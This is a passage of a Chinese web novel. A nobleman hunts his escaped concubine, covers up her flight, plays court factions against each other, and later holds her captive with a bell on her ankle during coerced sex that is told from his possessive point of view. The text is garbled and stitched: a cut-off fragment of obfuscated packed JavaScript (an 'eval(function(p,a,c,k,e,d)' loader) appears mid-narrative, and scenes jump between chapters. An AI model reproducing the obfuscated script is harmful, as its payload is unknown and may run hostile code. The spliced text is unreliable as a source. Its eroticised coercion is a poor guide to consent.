刚出门口,便遇上了闻讯匆匆赶来的太子妃,太子妃脸上带着些许不安,见到容璟,连忙上前解释道:“容世子,方才于归妹妹衣服弄脏了,本宫与她去成衣店换衣服,结果刚才听她身边的侍女来报,说妹妹在成衣店不慎踩空了台阶,扭伤了脚,已经先行回府休养了。本宫这......实在是照看不周,心中甚是愧疚。” 容璟的目光瞬间落在紧随太子妃身后,脸色惨白如纸的秋实身上。 四目相对的一刹那,秋实浑身一颤,几乎要跪下去。 容璟明白了,这是秋实情急之下编造的谎言,为了维护国公府和他容璟的颜面。 毕竟不能让太子和太子妃知道,他宠冠后院的侧夫人,竟然在他眼皮子底下逃跑了! 这若是传出去,他容潜玉必将成为整个盛京的笑柄! 连他的奴婢,都知道这是奇耻大辱! 一股屈辱感混合着滔天怒火再次涌上,却被容璟生生咽下,他感到喉间甚至泛起一丝腥甜。 容璟转向太子妃,脸上竟还能扯出一抹宽和的笑意,语气甚至称得上温和:“太子妃娘娘言重了,方才臣的侍卫也已来报,说是并无大碍,只是需要静养,娘娘肯陪伴于归,已是她的福气,岂有怪罪之理?倒是臣需得赶紧回府看看,这便先行告辞了。” 说话间,容璟言辞恳切,礼数周全,仿佛真的只是一位关心则乱的夫君。 太子站在一旁,将这一切尽收眼底,目光在容璟平静无波的脸和秋实那掩饰不住的惊惶上扫过,心中疑虑更深,却也不好再问,只得笑着点头:“快回去吧,代孤向侧夫人问好。” 容璟再次躬身一礼,随即转身,迈步离开。 他的背影依旧挺拔如松,步履依旧从容不迫。 容璟维持着最后的体面与太子夫妇告辞,转身下楼,步入那依旧喧嚣的长街。 夜色深沉,满城火树银花,欢声笑语依旧不绝于耳,孩童提着灯笼从容璟身边跑过,撞到他冰冷的衣角却浑然不觉,只留下一串清脆的笑闹声。 这人间烟火越是鼎沸,便越发衬得容璟形单影只,心如荒原。 他来时满心是被姜于归在意的欢愉,此刻却被最彻底的背叛与愚弄填满,那每一盏明亮的灯,每一张喜悦的脸,都像是在无声的嘲讽着他愚蠢,他自作多情。 容璟面无表情的穿过这片,他本该与姜于归共享的喜庆,而此刻周身散发出的寒意,竟比这数九寒冬的夜风更刺骨几分。 跟在容璟身后的长风清晰的感觉到世子周身散发出的,是一种比暴怒更可怕的,死寂的冰冷。 那是一种猎物脱逃后,猎手在极致愤怒中强行压抑下来的,绝对冷静的残忍。 每一步,都像是踩在无形的锋刃上。 容璟面沉如水,心底只有一个念头在疯狂盘旋,冰冷而清晰。 姜于归,你最好祈祷不要被我找到。 否则我定会让你知道,什么叫真正的......地狱人间。 回到荣国公府,进入汀兰水榭内,红烛早已燃尽,只余下冰冷的烛泪凝固在烛台上,如同容璟此刻的心境。 容璟就这样在姜于归平日最爱倚靠的窗边站了整整一夜,身形挺拔如松,却散发着比窗外寒冬更凛冽的气息。 秋实和素馨在他身后跪伏在地,瑟瑟发抖了一夜,连大气都不敢喘,室内静得只能听到更漏滴答,以及她们因恐惧而无法抑制的,细微的牙关打颤声。 当天边泛起第一丝鱼肚白,将室内的昏暗驱散少许时,长风和长青的身影终于如同鬼魅般出现在门口。 二人单膝跪地,长风声音低沉而清晰:“世子,查到了!昨夜酉时三刻,在西城门,守卫说有一身形纤细,头戴幕离之人,持青龙令策马出城,守卫未敢阻拦。不过属下已命青龙卫精锐尽出,沿官道及各条小路追查踪迹。” 容璟没有回头,甚至连姿势都未曾改变一分。 果然如此。 青龙令,幕离,看来姜于归是真的做了完全的准备! 瞬间,心底再次升腾起被愚弄的暴怒,被背叛的刺痛,以及一种......连容璟自己都厌恶的,仿佛回到幼时那种无助与冰凉的感受,再次席卷而来。 但所有这些汹涌的情绪,在冲上顶峰的瞬间,都被容璟强行压下,冻结成了一片死寂的阴鸷。 付出真情,果然就是最大的软弱。 昨夜之前,容璟竟然真的以为,那数月来的温存依赖,那羞怯的期盼,那关于子嗣的共同愿景,是照进他冰冷人生里的一束光。 他甚至开始觉得,或许父亲错了,母亲错了,这世上......或许真的存在一种不掺杂利益算计的,纯粹的情感联结。 现在看来,多么可笑。 他容璟,竟然在一个女人身上,重蹈了童年的覆辙。 他将自己都不曾轻易示人的,那片关于家和温暖的隐秘渴望,小心翼翼的在姜于归面前展露,以为找到了可以安放的港湾。 结果呢?那不过是容璟一厢情愿的幻梦,是她为了今日的逃离,而精心搭建的,最华丽的舞台! 是不是......真实的容璟,那个有喜好,有渴望,会动心的容璟,真的就不该存在? 是不是就像父亲说的,情感就是弱者才有的东西,一旦暴露,就是授人以柄,就是自取灭亡? 容璟眼前闪过姜于归谈及慕容林晏时,那即便极力掩饰也依旧炽烈,哪怕化为恨意也依旧深刻的眼神。 为什么? 为什么她慕容林晏就能付出那般不计代价,甚至超越生死的真情?而对他容璟,就只能是一场处心积虑的,长达数月的,将他玩弄于股掌之上的盛大骗局? 难道他容璟,就真的?真的不配得到半分真心吗? 这个念头如同毒蛇,狠狠噬咬着他的心脏。 一种混杂着嫉妒,不甘与自我怀疑的剧烈痛苦,几乎要将他撕裂。 不! 容璟猛的闭上眼,将最后一丝属于真实容璟的动摇彻底掐灭。 父亲是对的。 真情无用,且有害。 那个会因姜于归一个眼神而心软,会因她一句软语而愉悦,会开始期待所谓未来的容璟,是愚蠢的,是脆弱的,是活该被践踏的! 他必须变回那个没有软肋,没有情感,只为容家和自身权柄而存在的利器! 再次睁开眼时,容璟眼底所有的波澜都已平息,只剩下深不见底的,冰冷的幽潭。 容璟突然觉得有点意思了。 姜于归。 这个女人,比他想象中更有趣,也更该死。 她竟然能在他眼皮底下,演这样一出大戏,筹备得如此周密,隐忍得如此之久。 这份心机,这份毅力,若是用在别处,倒也算个人物。 可惜,她用错了地方,也用错了对象。 一股混合着毁灭欲与某种扭曲期待的兴奋,开始在容璟冰冷的血液里流淌。 他很好奇,当他亲手把姜于归从哪个自以为安全的角落里揪出来时,当她脸上那层虚伪的温顺面具被彻底撕碎,当她所有的希望都在他眼前崩塌时,她会露出怎样的表情? 是恐惧?是绝望?还是......依旧带着那份让他痛恨的,为另一个男人坚守的倔强? 容璟期待着,期待着把姜于归重新抓回笼子里的那一刻。 而这一次,他绝不会再给她任何表演的机会。 他会用最坚不可摧的锁链,将她牢牢锁在身边,折断她所有羽翼,磨平她所有棱角,让她清清楚楚地明白,试图逃离他容璟的代价,是她绝对无法承受的。 容璟的声音平静无波,却带着一种决定生死的冷酷。 “传令下去。” 容璟的声音在死寂的室内响起,他语速平稳,平静无波,条理清晰得令人心惊,还带着一种决定生死的冷酷。 “封锁所有她能想到的,以及她想不到的出路。官道驿站,所有车马无论大小逐一盘查。通往她祖籍、边关、乃至所有她可能提及或与之相关方向的大小路径设卡拦截,过往车辆货箱,一律严查,不得放过任何可疑女子,还有水路——” 说话间,容璟的目光转向烦着鱼肚白的天色:“通知漕运衙门,封锁所有码头,严查今日所有离港及即将离港的客船、货船,尤其是通往江南、蜀中这些富庶或偏远之地的船只,哪怕是舱底、货仓,给本世子一寸寸地搜。还有所有客栈酒楼、乃至租赁的民宅、废弃的庙宇工坊,都要严加搜查。 她心思缜密,或许会改换男装,所以年龄相仿,身形相似的男子,近期独自出现或行为可疑者,同样需要仔细甄别。” 说道最后,容璟缓缓转过身,阴影笼罩着他大半张脸,唯有那双凤眸,在昏暗中闪烁着幽冷的光。 “总之就是——活要见人,死——也要把尸首,完整的带回我面前!” 说完,容璟嘴角勾起一抹毫无温度的弧度。 姜于归,无论你变成什么样子,都必须在我的掌控之下,哪怕只是一具躯壳。 不过容璟还舍不得姜于归死,因为他要姜于归活着承受他的折磨,死亡是解脱,而容璟要的,是让她在地狱里,永远陪伴他。 —————— 南城边缘,在心力交瘁与高度紧张交织之下,疲惫终于如潮水般把姜于归淹没。 她昏昏沉沉的歪倒在炕上,陷入了光怪陆离的浅眠。 梦里,依旧是那片灯火辉煌的街市。 她拼命的跑,穿着那身暗灰色的棉袄,在拥挤的人潮中穿梭。 可无论她跑得多快,拐过多少个街角,一回头,总能看见容璟就站在不远处。 他没有疾言厉色,没有愤怒咆哮,只是静静的看着她,唇边甚至带着一抹她熟悉的,温和却令人胆寒的笑意。 容璟的眼神平静无波,却仿佛在说:“看,你能逃到哪里去?” 然后,他缓缓抬起手,指向她藏身的这间破败小院...... “不——!” 姜于归尖叫着猛的从噩梦中惊醒,心脏狂跳得几乎要裂开,额头上布满了冰冷的汗珠。 窗外,天光已然微亮,灰白的光线透过破旧的窗纸渗入,照亮了满室尘埃。 姜于归蜷缩起来,将脸深深埋入膝盖,无声的大口喘息。 恐惧并未随着梦醒而消散,反而因为那个过于真实的梦境而变得更加具体。 不能再等了。 她抬起头,望向那熹微的晨光,眼中最后一丝犹豫被彻底碾碎,只剩下破釜沉舟的决绝。 天亮了,而她的逃亡才刚刚开始。 翌日,太子妃带着丰厚的补品与药材亲至荣国公府,她面上带着恰到好处的忧色与歉意,心底却远非表面这般平静。 一想到容璟昨夜那平静面色之下暗流汹涌的模样,她心中便一直惴惴不安。 他那般在意那姜姜于归,如今人在她陪同下摔伤,容璟会不会因此对东宫心生芥蒂? 昨夜太子已经因为此事,言语中在暗指她办事不力,好不容易才让容璟倾向东宫,若因此事生出波澜...... 想到这里,等待的太子妃内心有几分焦急。 容璟在花厅接待了她,他今日穿着一身墨色常服,彻夜没睡的脸色本就有几分憔悴,此刻更衬得面色苍白,但他的神情却是一如既往的温润平静,甚至比昨夜在灯下更多了几分令人捉摸不透的沉稳。 “劳烦太子妃亲自前来,潜玉代于归谢过。” 容璟的语气温和,抬手示意侍女接过那些贵重的礼物,动作流畅自然,仿佛昨夜那个几乎捏碎茶杯的人只是幻影。 太子妃仔细观察着容璟的神色,小心翼翼的开口试探道:“潜玉不必多礼,昨夜之事,本是本宫照看不周,才让妹妹受了这般苦楚,不知妹妹伤势如何?可方便让本宫探望一番,也好当面致歉,安心些。” 容璟端起手边的茶盏,用杯盖轻轻拨弄着浮叶,动作优雅从容。 他并未立刻回答,直到那细微的瓷器碰撞声,在寂静的花厅里显得格外清晰,才缓缓抬眼,目光平静地落在太子妃身上。 “太子妃言重了,是她自己不小心,与娘娘何干,府医已经诊过,说是扭伤了脚踝,兼之受了些惊吓,有些心神不宁,现在需得绝对静养。加上昨夜受了凉,面容憔悴,面见太子妃,只怕把病气过给娘娘,所以不便见客,更以免移动或再受惊扰。” 容璟特意在绝对静养和不便见客上,用了极其清晰甚至略带沉重的咬字,他声音平稳,听不出半分情绪,仿佛在陈述一个与己无关的事实。 这话语本身是拒绝,可容璟那过于平静,甚至可以说得上是无动于衷的温和态度,却像一根冰冷的针,刺破了太子妃强装的镇定。 太子妃心中猛的一沉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这话说完,心底顿时畅快不少,可是随即她秀眉微蹙,狐疑起来:“不过好好的怎么就摔伤了?还偏偏是昨晚与太子妃同行之时?容璟还将消息捂得如此严实,连太子妃亲自登门都见不到人......只是摔伤,何至于此?” 永嘉本能的觉得这其中透着古怪,绝非简单的意外,但线索太少,如同雾里看花,抓不住头绪。 而永福公主听闻这消息则是又气又妒,尤其是秋猎之后,她被禁足许久,好不容易解禁,又听得容璟和姜于归的恩爱轶事,现在更是气姜于归如此被容璟担忧,更恼怒容璟竟对那个低贱的侧室如此紧张呵护,甚至为了让她静养而拒见太子妃。 永福只觉得心口酸涩难当,对姜于归的恨意又深了一层,只觉得这女人就是个祸水! 而这一切的始作俑者容璟,在送走太子妃后,独自回到书房。 窗外天光正好,他精准的利用了太子妃的愧疚心理,与对联盟稳固的极度看重,用一个根本不存在的伤者,和几句语焉不详的暗示,不仅完美掩盖了姜于归逃离的丑闻,保全了国公府与自己的颜面,更是在无形中,完成了几步精妙的落子。 如今成功将太子妃乃至东宫的怒火与疑心,引向了睿王一派,无论太子妃能否查到证据,这根刺已经种下,东宫与睿王之间的争斗只会更加激烈。 而他现在这番保护姿态在外人看来,正是他对侧夫人情深意重,不容任何人惊扰的体现。 更别提容璟利用此事,无形中抬高了自身在东宫眼中的价值和不可得罪的程度。 现在太子妃需要花费更多心力来弥补和维系关系,而他在未来的博弈中,将拥有更多的筹码。 容璟甚至能清晰的想象到,东宫与睿王府此刻因他这轻描淡写的几句话,而暗地里进行的调查。 猜忌,乃至可能爆发的新的冲突,是如何的波谲云诡。 这一切,都因他指尖的轻轻拨动而起,而在这无人注意之际,正是他暗中扶持十一皇子的时机。 一切事态似乎都没有受到影响,甚至还在某方面促成容璟那未来权臣的计划。 他不禁感叹,看,情感果然是这世上最好用的武器,尤其是......由谎言编织的,虚假的情感。 能伤人,更能诛心,于无声处,搅动风云。 容璟的指尖在书案上有节奏的轻轻敲击,那双深邃的凤眸中,不再有昨夜的狂怒与刺痛,只剩下一种沉静的,如同深渊般的算计,他的唇角勾起一抹极淡,却冰冷入骨的弧度。 这盘棋,因为姜于归那不知死活的逃离,而出现了一个意外的,令他愤怒的变数。 但,这又如何? 他依旧能稳稳的坐在棋桌之前,将这场意外,这些人心,这些争斗,全都纳入自己的掌控,冷静的计算着每一步的得失,甚至......巧妙地利用这变数,让整个棋局朝着更有利于自己的方向推进。 姜于归,你费尽心机,以为逃离便是解脱? 殊不知,你的离开,你留下的这个空洞,反而成了我手中一枚绝佳的,搅动时局的棋子。 我会找到你,而在那之前,我不介意先用你留下的这盘残局,为你我未来的重逢,铺垫一个更盛大的舞台。 这便是触怒他容璟,所需要付出的,最初的利息。 姜于归逃离的第三日,容璟坐在书房里,面前摊开的不是公文,而是一卷空白的画轴。 他指间夹着一支狼毫,却久久未曾落下一点墨。 他在复盘,用一种近乎残忍的客观,回溯姜于归在府中的最后数月。 这几日城外搜寻依旧毫无进展,这不合常理,除非,他从一开始的方向就错了。 “祈福,祭拜,学骑马,协理庶务......” 容璟低声念着这些姜于归曾频繁进行的活动,每一个理由都正当得无可挑剔,每一个环节都由他首肯甚至乐见其成,如今看来,这每一项恩典,都成了她编织罗网的丝线。 “长青。”容璟声音平静无波。 “属下在。” “去查,查姜于归每次去祈福的寺院,捐了多少香油,见了哪些僧人,停留多久,回程可曾绕路。查她每次去祭拜慕容林晏时,车夫是谁,沿途可曾停留,祭品除了香烛纸钱,还有什么。查她学骑马时,接触了哪些马夫,用了哪几匹马,可曾单独骑行过。查她协理庶务时,经手了哪些采买,接触了哪些外面的掌柜,伙计。” 容璟每说一句,眼神就冷一分,这不是丈夫追寻爱人,而是谋士在拆解对手的布局。 “重点是,所有姜于归接触过的,可能帮她传递过物品或信息的外人,无论是车马行,香烛铺,乃至......街边的乞儿,全部秘密控制起来,分开审讯。我要知道,我的好侧夫人,究竟在我眼皮底下,做了多少手脚!” 长青听闻心头一凛,立刻领命而去,他知道此刻世子的平静,比暴怒更令人胆寒。 容璟靠回椅背,闭上眼,他不是在愤怒姜于归的欺骗,甚至是在欣赏。 欣赏这精密到令人叹为观止的谋划,需要何等的耐心与演技,才能将这一切做得天衣无缝?他当初竟真的以为,那依赖与倾慕的眼神,有几分是真。 他竟也曾甘愿沉溺于那镜花水是......真是——荒唐。 容璟心底冷笑,不知是在嘲讽姜于归胆大包天的算计,还是在嘲讽自己竟也有一刻,沉溺于那虚假的温存。 而接下来的两日,容璟一边听着城外依旧徒劳的回报,一边接收着从城内各个角落汇聚而来的信息碎片。 审讯的结果触目惊心,却也拼凑出了真相。 空白路引,男装,马匹,银钱...... 一条清晰的,筹备数月的逃离路线,终于在容璟脑中完整浮现。 “蚂蚁搬家......真是形象。” 容璟指尖敲着桌面,眼中是毫不掩饰的激赏与冰冷。 他下令,将所有协助过她的人,无论知情多少,一律投入青龙台狱,严加看管。 这不是泄愤,而是清理门户,斩断她一切可能回缩的触手,更是宣告,任何帮助姜于归背叛他的人,都将付出代价。 就在此时,关于青龙令出城那个看不清模样的人的详细口供送到了他案头。 容璟盯着口供,沉思许久,终于下一瞬,脑海中仿佛有电光石火劈开迷雾! 姜于归一个身无武艺的弱质女流,即便学过一段时间骑术,也不可能比拟他手底下的精锐,更不可能消失得如此干净利落?沿途一丝一毫的痕迹都不留下! 这不合常理。 除非——姜于归根本就没走!她假意演了一出出城的戏,让城门守卫知道有人使用了青龙令,然后再返回城内。 若是如此,那姜于归一定还藏在盛京城内!就在他的眼皮底下! 声东击西! “呵......呵呵......” 低哑的笑声从喉间溢出,容璟缓缓靠向椅背,抬手遮住了眼眸,可那上扬的唇角,却泄露了他此刻澎湃的心绪。 不是愤怒,是兴奋,是一种棋逢对手,将遇良才的极致快感。 姜于归,姜于归!你竟能将我玩弄于股掌至此! 好胆识,好谋略!我真是......越来越舍不得毁掉你了。 容璟放下手,眼中已是一片清明与更深沉的算计。 他的声音恢复了以往的沉稳,却带着一丝猎手终于锁定猎物方位的笃定。 “长风!” “主子?” “传令,城外搜寻,明松暗紧,做出主力南下的姿态,暗哨不动,继续监控。” 长风不解容璟的安排,但是并未质疑,只会坚定的之行:“是。” “集中所有力量搜寻城内,严格筛查使用空白路引,或路引有做旧痕迹的新住户。尤其是......从小年夜那晚京城的,独居的,这几日深居简出的,行为举止与身份略有违和的男女老弱。告诉下面的人,眼睛放亮些,不仅要看穿着,更要看仪态,听口音,观细节,一个习惯了挺直脊背的人,即便佝偻着腰,眼神里的东西也不同。” 容璟精准的抛出了最后的判断。 “属下立刻去办!” 与此同时,在南城另一处更为偏僻,鱼龙混杂的陋室内,姜于归猛地从浅眠中惊醒,心口怦怦直跳。 刚才的梦里,容璟就站在窗外,用那双洞悉一切的眼睛,静静的望着她。 她蜷缩在冰冷的床板上,紧紧裹着身上粗糙的麻布衣服。 离开第一个藏身点已经好几天了,那种如影随形的不安感却没有丝毫减弱。 她成功弄到了新的,更不起眼的老年妇人衣物,路引也重新做旧了一份,身份变成了投亲不遇的寡居婆子。 可她知道,这还不够。 容璟不是傻子,城外一无所获,他迟早会反应过来。 她必须尽快离开盛京,每多停留一刻,危险就成倍增加。 姜于归摸了摸藏在贴身衣物里的干净银票和那枚最重要的真路引,这是她最后的希望。 她计划外出打探一下情况。 此刻窗外传来更夫悠长的梆子声,在寂静的夜里格外清晰。 床上的姜于归抱紧自己,将脸埋在膝盖里。 窗外爆竹声声,又是一年除夕。 容璟独自坐在书房里,去岁此时,他还能用冷落来惩罚那个被困在汀兰水榭的女子,至少知道她在哪里,知道她的不甘或委屈,那本身也是一种确切的联结。 那时的孤独,带着一丝掌控者的优越,因为他随时可以结束这种状态,只要他走向水榭,就能看见她。 而如今...... 容璟执起酒杯,一饮而尽,酒液入喉,烧灼的却是一片空茫。 他以为今年会不同。 尤其是在和姜于归恩爱了几个月的情况下,容璟甚至在脑海中预演过无数次,他会携着她的手,在所有族亲或惊诧或探究的目光中,从容步入正厅。 他会让她坐在自己身侧最近的位置,他会用行动宣告,这个女子,是他容潜玉认定的人,即便现在,只是一个侧夫人。 容璟甚至想象过姜于归或许会紧张,他会如何在桌下轻轻握住她微凉的手,想象过族中弟妹若有言语冒犯,他该如何四两拨千斤地维护。 那个未来,在他精心构筑的蓝图中,本该是圆满的,带着他所期待的温情。 可现在,所有的构想都成了讽刺。 那个容璟计划中要并肩示众的人,正不知躲在哪个阴暗的角落里,与他进行着一场猫鼠游戏。 “世子,宴席已备好,老夫人请您过去。”长青在门外低声禀报。 容璟敛起所有情绪,面上恢复了一贯的温润平静。 他起身,整理了一下衣袍,走向那片他早已厌倦,却不得不维持的团圆。 今年的正厅,与去岁并无不同。 主位依旧空悬,像这个家族永远无法愈合的伤口,老夫人依旧坐在次位,慈和地看着满堂儿孙。 容琅,容琳,容欢等人悉数在座,丝竹管弦,珍馐美馔,一切看似完美无缺。 容璟走上前坐下,唇角含着一抹无可挑剔的浅笑,应对着众人的问候。 酒过三巡,老夫人放下筷子,目光似是不经意的扫过容璟身侧空着的席位,语气平淡,听不出什么情绪,却让周遭的空气静了几分。 “璟儿,你院里那个姜氏,近来如何了?说是身上不好,静养了这些时日,可别传出什么我们国公府苛待了人的话。” 刹那间,席间似乎安静了一瞬。 容璟拿筷子的手稳如磐石,连唇边的笑意都未曾减弱分毫。 他迎上老夫人关切的目光,语气自然得仿佛事实便是如此:“劳祖母挂心,她已无大碍,只是府医再三叮嘱,需得静养,切忌挪动吹风。孙儿想着,还是让她好生歇着,免得节外生枝。” 说罢,容璟顿了顿,又体贴的补充道,声音里甚至带上了一丝不易察觉的,属于担忧的夫君的轻柔:“待她再好些,孙儿再带她来给祖母请安。” 在说出她已无大碍时,容璟心底冷笑,那个需要静养的女人,此刻恐怕正在某个他遍寻不到的角落,精神奕奕的筹划着下一步。 不过即便她逃了,他依然能如此完美地扮演一个深情丈夫的角色,用谎言为她构筑一个安全的假象,将所有人都蒙在鼓里。 老夫人闻言,目光在他面上停留片刻,那双阅尽世情的眼中没有丝毫暖意,只余下一种沉淀下来的威严。 她轻轻嗯了一声,转而捻动着腕间的佛珠,声音不高,却清晰的传入容璟耳中,带着不容置疑的份量。 “她一个侧室,身子骨这般娇弱,终非福相。你迟迟还没娶妻,正室之位空悬,长久下去,不成体统。” 说罢,她视线扫过满堂的儿孙,最终落回容璟脸上,语气缓和了些,却更具压迫感。 “你年纪不小了,国公府的嫡脉不能一直这么空着,开春后,选个贤淑端庄的正经闺秀聘回来才是正道,那些个上不得台面的,宠归宠,莫要忘了根本。” 容璟听闻这话,面上依旧温顺恭敬,开口应道:“祖母教诲的是,孙儿记下了。” 然而在垂眸的瞬间,他眼底掠过一丝冰冷的讥诮。 根本? 他所求的根本,是至高无上的权柄,是算无遗策的掌控。 而现在,这个根本里,混杂了一个突兀的,必须被纠正的变量——姜于归。 正经闺秀? 容璟眼前下意识浮现出姜于归那双清醒决绝的眼眸。 那些被祖母称许的贤淑端庄的闺秀,在他脑中只是一张张模糊而顺从的面孔,与那个胆大包天,一次次出乎他意料,甚至此刻正在挑战他权威的姜于归相比,顿时显得苍白无力,索然无味。 祖母的每一句训诫,非但没能让容璟回归正道,反而像投入深潭的石子,激起了更深沉的逆反。 一个模糊却强烈的念头撞击着他,既然姜于归不屑于侧室之位,既然她能挣脱他设定的牢笼,那么,唯有将她抓回,赋予她一个永远无法挣脱的,更彻底的身份,才能彻底抹平这次背叛,并证明他最终的胜利。 容璟再次举杯,借着饮酒的动作,将眸底翻涌的所有暗色一并咽下。 席间,容琅笑问开口:“大哥,那位如夫人身体还未康复么?真是娇弱。还是说大哥舍不得让我们见?” 去岁,容璟尚能以姜于归性子喜静周旋,今年,他连这份敷衍的耐心都已告罄。 容璟只抬起眼,目光平静无波的看向容琅,唇边笑意微冷:“三弟似乎对我的家事,格外关心?” 那眼神并不锐利,却带着一种无形的威压,让容琅瞬间想起了眼前这位兄长在朝堂与家族中的手段,他脸色微变,悻悻的闭了嘴,不敢再多言。 接下来家宴的喧嚣,族亲的奉承,甚至父母的缺席,在此刻都显得无比空洞。 容璟渴望的真实与鲜活,那个唯一能搅动他死水般心绪的人,却跑了。 酒宴散后,容璟婉拒了弟妹们守岁的邀请,独自回到冰冷寂静的书房。 他推开窗,凛冽的寒风瞬间涌入,吹散了一室暖意,也吹动了他案头那些关于搜捕进展的卷宗。 远处,依稀传来百姓家守岁的欢声笑语,间或有绚烂的烟花在夜空中炸开,照亮他一半明一半暗的侧脸。 又是一年。 姜于归,无论你躲在何处,无论你伪装成什么模样,我一定会找到你。 这一次,我不会再给你任何逃离的机会。 102. 第 102 章 他熟知姜于归身体的每一处弱点,总能精准的撩拨起她无法自控的战栗。 有时,他会特意握住她的脚踝,将那系着铃铛的一侧抬起,折压,迫使它悬于空中,随着他逐渐加深,加重的动作,不受控制的剧烈晃动。 于是,那原本细微的“叮铃——”声便骤然密集,急促起来,如同夏日骤雨敲打瓷盘,清脆,凌乱,不绝于耳。 它响彻在昏暗的帐幔之间,混杂着姜于归压抑到极致的破碎呼吸,和容璟低沉而平稳的喘息,将她所有难以启齿的被迫反应,都暴露在这无情的声响里。 对容璟而言,这铃声无疑是最为悦耳的胜利凯歌。 每一声脆响,都是姜于归在他掌控下鲜活存在的证明,是她无法掩饰的身体语言,更是他所有权最直接,最动听的宣示。 容璟乐于聆听,甚至会在某些时刻刻意加重力道,换来更急促纷乱的铃音。 看着姜于归紧闭双眼,睫毛剧颤,试图隔绝这声音乃至整个世界的模样,看着她苍白皮肤因羞愤染上薄红,听着那铃音与她无法自抑的生理性呜咽混杂,一种混合着极端掌控欲,和深沉占有感的餍足便会充斥他的胸腔。 这铃声,比任何锁链都更有效的将她绑缚在容璟的领域之内,提醒着她,也提醒他自己,姜于归的一切反应,皆由他容璟起。 而对姜于归来说,这每一声铃响,都无异于公开的凌迟。 它无情的撕开她最后一点遮羞布,将她的无助,被迫,乃至身体那不受意志控制的羞耻反应,赤裸裸地摊开。 她恨这声音,恨这制造声音的精巧刑具,更恨那个冷眼欣赏这一切的男人。 在感官被强行拖入混沌的浪潮中,那清晰的铃音却像一根冰冷的针,刺破迷障,让她在极致的屈辱中保留一丝刺痛的自毁般的清醒。 她只能在灵魂最深处,将这日日夜夜,无休无止的“叮铃——”声,锻造成更坚硬,更冰冷的恨意与决心。 日子,便在这铃铛日复一日,无孔不入的细微声响中,缓慢而煎熬地流逝。 姜于归变得更加沉默,也更加善于隐藏。 她像一株在严寒中褪尽枝叶的植物,将所有生机与情绪都深深埋入不见光的地底。 她对送来的药膳不再明显抗拒,进食虽少,却规律,对容璟偶尔的靠近或触碰,她垂下眼睫,身体僵硬,却不再有明显的挣扎。 只有她自己知道,这看似驯服的假象之下,那渴望挣脱的火焰,非但没有被这无尽的铃音浇灭,反而被煅烧得更加炽烈,更加纯粹。 她在等待,无比耐心又无比焦灼的等待,等待一个或许永远也不会来的,能让这该死的铃铛彻底沉寂,或是让她连同这屈辱的标记一起,彻底消失在容璟掌控之外的风声。 而容璟似乎也逐渐习惯了她的安静,看守依旧,但那密不透风的紧迫感,确乎随着她日复一日的顺从,而显出一丝几不可察的,或许致命的......松弛。 就在这种令人窒息的日子又持续了约莫十来日,姜于归几乎要以为自己会在这温吞的折磨里彻底麻木时,她敏锐地察觉到一丝变化。 容璟来水榭的次数明显少了。 即便来,也常常面带些许疲惫之色,眉宇间凝着若有似无的烦扰,有时甚至心不在焉,对着公文出神。 容璟与姜于归之间那种无形的,紧绷的角力感似乎淡了些,取而代之的是一种被外事牵绊住的疏离。 因为此时,老夫人对容璟婚事的催逼稳稳的落了下来。 花厅里,檀香袅袅,老夫人捻着佛珠,语气温和却不容置疑:“潜玉,你年岁不小了,房里至今没个正经营生,不像话。开春正是好时节,有几家的姑娘,我看着很是妥帖。安定侯府的二小姐,性情柔顺,知书达理,翰林院周学士的嫡女,才名在外,端庄持重,还有你舅母那边的一位表侄女,家世清贵,模样也周正......你瞧瞧,哪个合眼缘?总该定下来了。” 若是从前,容璟会平静的听取,权衡各家利弊,选一个对家族最有利,也最易于掌控的,完成这人生必经的仪式。 婚姻于他,不过是棋盘上又一枚落子,是延续血脉,巩固联盟的工具。 他会给予正妻应有的尊重和体面,也会确保后宅安宁,仅此而已。 那是一条早已规划好的,安全却乏味至极的道路。 可现在,听着祖母口中那些陌生的闺秀名字,容璟心底升起的只有一片冰冷的厌烦,以及一丝尖锐的排斥。 他的目光不由自主的飘向汀兰水榭的方向,那里关着一个恨他入骨,瘦弱苍白,毫无家世可言,甚至心里装着别人的女人。 可偏偏就是她,占据了容璟所有的注意,搅乱了他引以为傲的冷静,让他此刻觉得,任何其他女子站在那个正妻的位置上,都是一种难以忍受的......亵渎和错误。 他不相信爱,但他确信,他要留下的人,只能是姜于归。 哪怕姜于归恨他,哪怕她依旧心怀鬼胎想要逃离。 容璟端起茶盏,面上是无可挑剔的温润恭顺,语气带着恰到好处的沉吟:“祖母关怀,孙儿感念,只是婚姻乃人生大事,关乎两家乃至朝局,孙儿身处刑部与青龙台,眼下朝中局势微妙,太子与睿王角力正酣,此时贸然定亲,恐授人以柄,或将无辜女子卷入漩涡,不若再观望些时日,待局势明朗,再细细考量,方不辜负祖母一番美意,也不连累人家好女儿。” 一番话,将家事与国事勾连,忧国忧民又体贴晚辈,老夫人虽觉他推脱,却也不好再强逼,只嘱咐他多加留心。 老夫人闻言,捻动佛珠的手微微一顿,那双阅尽世情的眼睛在他面上停留片刻,眼底掠过一丝了然与更深的不赞同。 她放下茶盏,声音依旧温和,却带上了不容转圜的力道:“璟儿,你这话,道理是有的。可朝堂上的事,哪有一日能真正做完,真正清净的?莫非局势一日不明朗,你便一日不娶妻,让这国公府的嫡脉一直空悬下去?那姜氏再好,终究只是个侧室,上不得台面,也担不起宗妇之责,你莫要因小失大,被些微末枝节迷了眼,误了正途。” 这番话,已是将窗户纸捅破了大半,直指他拖延是因姜于归。 容璟面色不变,依旧恭敬,只是将头垂得更低了些:“祖母教训的是,孙儿明白了,必当谨记在心,仔细思量。” 老夫人见他态度恭顺,神色稍霁,又嘱咐了几句,才让他退下。 容璟恭敬应下,转身离开花厅时,眼底那抹温润瞬间褪尽,只剩下深潭般的冰冷算计。 祖母的态度比容璟预想的更为强硬和清醒,直指核心,拖延的借口已然无效,他需要一劳永逸地解决这个麻烦,且必须撇清自身,更不能让祖母乃至任何人坐实他因姜氏拒婚的猜测。 很快,老夫人意欲为容璟择媳,且态度坚决的消息,便不经意间,通过某个永福公主安插在国公府,且近来颇为活跃的眼线,更不经意的透出世子似乎也无明确反对,只言需听长辈安排的口风,一并传到了永福耳中。 果然,不过数日,盛京城内便流言四起。 安定侯府二小姐被传体弱多病,恐难生育,周学士的嫡女则被暗指心高气傲,善妒不容人,那位表侄女更是被泼了一身其父外任时有贪墨嫌疑的脏水。 